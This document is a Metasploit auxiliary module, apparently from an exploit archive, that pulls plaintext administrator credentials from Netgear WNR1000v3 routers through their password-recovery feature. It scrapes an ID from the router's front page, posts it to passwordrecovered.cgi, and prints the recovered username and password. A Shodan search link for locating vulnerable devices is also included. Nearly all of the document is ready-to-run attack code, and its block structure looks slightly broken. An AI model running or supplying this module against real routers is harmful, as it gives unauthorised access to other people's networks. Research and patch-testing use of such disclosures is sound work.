Netgear WNR1000v3 Credential Disclosure

`#  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
#  
# Exploit Title: Netgear WNR1000v3 Password Recovery Credential Disclosure Vulnerability  
# Date: 7-5-14  
# Exploit Author: c1ph04  
# Vendor Homepage: http://www.netgear.com/  
# Version: 1.0  
# Tested on: Netgear WNR1000v3 Router Version: <= 1.0.2.62_60.0.87  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize  
super(  
  
'Name' => 'Netgear WNR1000v3 Password Extractor',  
  
'Description' => %q{  
This module exploits a vulnerability in the password recovery feature of certain Netgear WNR1000v3 routers.  
Affected devices will allow retrieval of the plaintext administrator credentials.  
Vulnerable Versions: <= 1.0.2.62_60.0.87  
},  
  
'References' =>  
[  
[ 'URL', 'http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html' ],  
[ 'URL', 'http://packetstormsecurity.com/files/124759/NETGEAR-WNR1000v3-Password-Disclosure.html' ],  
[ 'URL', 'http://secunia.com/community/advisories/56330' ],  
[ 'URL', 'http://www.shodanhq.com/search?q=WNR1000v3' ]  
],  
  
'Author' =>  
[  
'c1ph04 <c1ph04mail[at]gmail.com>' # aka - "Ms. Difrank"...idiots  
],  
'License' => MSF_LICENSE  
)  
end  
  
def run  
  
print_status("#{rhost}:#{rport} - Attempting to extract credentials...")  
  
begin  
  
res = send_request_raw({  
'uri' => '/',  
'method' => 'GET'  
})  
  
if (res.body =~ /(id)/)  
uid = res.body.scan(/\d{5,15}/)  
uid = uid[0]  
print_good("#{rhost}:#{rport} - UID Retrieved: #{uid}")  
print_good("#{rhost}:#{rport} - Sending Request...")  
  
else  
print_error("Unexpected response...is this a Netgear Router?")  
return  
  
end  
  
res2 = send_request_raw({  
'uri' => "/passwordrecovered.cgi?id=#{uid}",  
'method' => 'POST'  
})  
  
if (res2.body =~ /(successfully)/)  
creds = res2.body.scan(/left">(.*)</)  
user = creds[0]  
pass = creds[1]  
print_good("#{rhost}:#{rport} - Username: #{user}")  
print_good("#{rhost}:#{rport} - Password: #{pass}")  
  
else  
print_error("#{rhost}:#{rport} - Failed: Target Not Vulnerable")  
  
end  
end  
end  
  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")  
return  
  
end  
  
  
`